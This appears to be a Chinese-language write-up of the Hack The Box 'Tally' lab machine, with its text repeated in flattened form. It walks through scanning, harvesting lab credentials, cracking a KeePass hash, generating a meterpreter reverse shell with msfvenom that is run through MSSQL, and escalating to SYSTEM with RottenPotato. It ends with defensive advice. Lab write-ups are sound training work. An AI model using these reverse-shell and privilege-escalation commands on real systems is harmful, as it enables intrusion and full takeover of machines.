HTB:Tally渗透测试
字数 1355 2025-08-13 21:33:27

HTB: Tally渗透测试教学文档

1. 靶机概述

Hack The Box是一个在线渗透测试平台,Tally是一台模拟真实环境的Windows靶机,包含多种服务如IIS、SMB、FTP和MSSQL等,适合练习综合渗透测试技能。

2. 信息收集阶段

2.1 基础扫描

  • 靶机IP: 10.10.10.59
  • 使用Nmap进行全面扫描:
    nmap -sS -sV -A -O 10.10.10.59 -o xb.log
    
  • 发现重要服务:
    • 80端口: IIS服务
    • 445端口: SMB服务
    • 21端口: FTP服务

2.2 网站目录扫描

使用Gobuster进行目录扫描:

gobuster dir -w /usr/share/dirb/wordlists/vulns/sharepoint.txt -u http://10.10.10.59/

发现重要目录:

  • /sitedirectory/_layouts/viewlsts.aspx
  • /shared documents/forms/allitems.aspx

2.3 获取FTP凭证

  1. 访问shared documents/forms/allitems.aspx下载ftp-details文件
  2. 获得FTP密码: UTDRSCH53c"$6hys
  3. 访问/sitedirectory/_layouts/viewlsts.aspx发现用户名: ftp_user

3. 漏洞利用阶段

3.1 FTP访问

使用获取的凭证连接FTP:

ftp ftp_user@10.10.10.59
密码: UTDRSCH53c"$6hys

发现Tim用户下的tim.kdbx文件(KeePass密码数据库)

3.2 破解KeePass数据库

  1. 使用keepass2john提取哈希:
    keepass2john tim.kdbx > Timhash
    
  2. 使用hashcat破解:
    cat -m 13400 Timhash /usr/share/wordlists/rockyou.txt
    
  3. 获得密码: simplementeyo

3.3 挂载FTP到本地

curlftpfs 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59' /mnt/ftp

3.4 获取SMB凭证

  1. 使用KeePassXC打开数据库,获取:
    • 用户: Finance
    • 密码: Acc0unting
  2. 访问SMB共享:
    smbclient -U Finance -L 10.10.10.59
    
  3. 访问ACCT共享发现MSSQL凭证:
    • 数据库用户: sa
    • 密码: YE%TJC%&HYbe5Nw
  4. \zz_Migration\Binaries\New folder\发现tester.exe
  5. 使用strings查看获取另一组MSSQL凭证:
    • UID: sa
    • PWD: GWE3V65#6KFH93@4GWTG2G

4. 提权阶段

4.1 获取初始Shell

  1. 生成PowerShell反向Shell:
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=5555 -f psh-reflection -o xiaobai.ps1
    
  2. 通过FTP上传到靶机
  3. 使用MSSQL执行命令:
    use auxiliary/admin/mssql/mssql_exec
    set RHOSTS 10.10.10.59
    set PASSWORD GWE3V65#6KFH93@4GWTG2G
    set CMD "powershell -ExecutionPolicy bypass -NoExit -File C:\\FTP\\Intranet\\xiaobai.ps1"
    run
    

4.2 权限提升

  1. 使用Incognito模块和RottenPotato提权
  2. 查看可用特权:
    getprivs
    
  3. 执行RottenPotato:
    execute -Hc -f C:\\Users\\Sarah\\Desktop\\rottenpotato.exe
    
  4. 查看令牌:
    list_tokens -u
    
  5. 模拟SYSTEM令牌:
    impersonate_token "NT AUTHORITY\\SYSTEM"
    
  6. 成功获取系统权限,可读取root.txt

5. 总结与关键点

  1. 信息收集是关键:通过目录扫描、源代码查看和文件下载获取初始凭证
  2. 凭证重用:FTP凭证→KeePass数据库→SMB凭证→MSSQL凭证的连锁利用
  3. 横向移动:利用MSSQL执行系统命令实现权限提升
  4. 提权技巧:使用RottenPotato进行令牌模拟获取SYSTEM权限
  5. 真实环境模拟:展示了企业环境中常见的凭证管理和服务配置问题

6. 防御建议

  1. 避免凭证重用,为不同服务使用不同密码
  2. 限制数据库账户权限,避免使用sa账户执行系统命令
  3. 定期审计共享文件和目录权限
  4. 实施最小权限原则
  5. 监控异常进程执行和网络连接

此靶机完整展示了从信息收集到系统权限获取的完整渗透流程,强调了凭证管理和服务配置安全的重要性。

HTB: Tally渗透测试教学文档 1. 靶机概述 Hack The Box是一个在线渗透测试平台,Tally是一台模拟真实环境的Windows靶机,包含多种服务如IIS、SMB、FTP和MSSQL等,适合练习综合渗透测试技能。 2. 信息收集阶段 2.1 基础扫描 靶机IP: 10.10.10.59 使用Nmap进行全面扫描: 发现重要服务: 80端口: IIS服务 445端口: SMB服务 21端口: FTP服务 2.2 网站目录扫描 使用Gobuster进行目录扫描: 发现重要目录: /sitedirectory/_ layouts/viewlsts.aspx /shared documents/forms/allitems.aspx 2.3 获取FTP凭证 访问 shared documents/forms/allitems.aspx 下载 ftp-details 文件 获得FTP密码: UTDRSCH53c"$6hys 访问 /sitedirectory/_layouts/viewlsts.aspx 发现用户名: ftp_user 3. 漏洞利用阶段 3.1 FTP访问 使用获取的凭证连接FTP: 发现Tim用户下的 tim.kdbx 文件(KeePass密码数据库) 3.2 破解KeePass数据库 使用keepass2john提取哈希: 使用hashcat破解: 获得密码: simplementeyo 3.3 挂载FTP到本地 3.4 获取SMB凭证 使用KeePassXC打开数据库,获取: 用户: Finance 密码: Acc0unting 访问SMB共享: 访问ACCT共享发现MSSQL凭证: 数据库用户: sa 密码: YE%TJC%&HYbe5Nw 在 \zz_Migration\Binaries\New folder\ 发现 tester.exe 使用strings查看获取另一组MSSQL凭证: UID: sa PWD: GWE3V65#6KFH93@4GWTG2G 4. 提权阶段 4.1 获取初始Shell 生成PowerShell反向Shell: 通过FTP上传到靶机 使用MSSQL执行命令: 4.2 权限提升 使用Incognito模块和RottenPotato提权 查看可用特权: 执行RottenPotato: 查看令牌: 模拟SYSTEM令牌: 成功获取系统权限,可读取root.txt 5. 总结与关键点 信息收集是关键 :通过目录扫描、源代码查看和文件下载获取初始凭证 凭证重用 :FTP凭证→KeePass数据库→SMB凭证→MSSQL凭证的连锁利用 横向移动 :利用MSSQL执行系统命令实现权限提升 提权技巧 :使用RottenPotato进行令牌模拟获取SYSTEM权限 真实环境模拟 :展示了企业环境中常见的凭证管理和服务配置问题 6. 防御建议 避免凭证重用,为不同服务使用不同密码 限制数据库账户权限,避免使用sa账户执行系统命令 定期审计共享文件和目录权限 实施最小权限原则 监控异常进程执行和网络连接 此靶机完整展示了从信息收集到系统权限获取的完整渗透流程,强调了凭证管理和服务配置安全的重要性。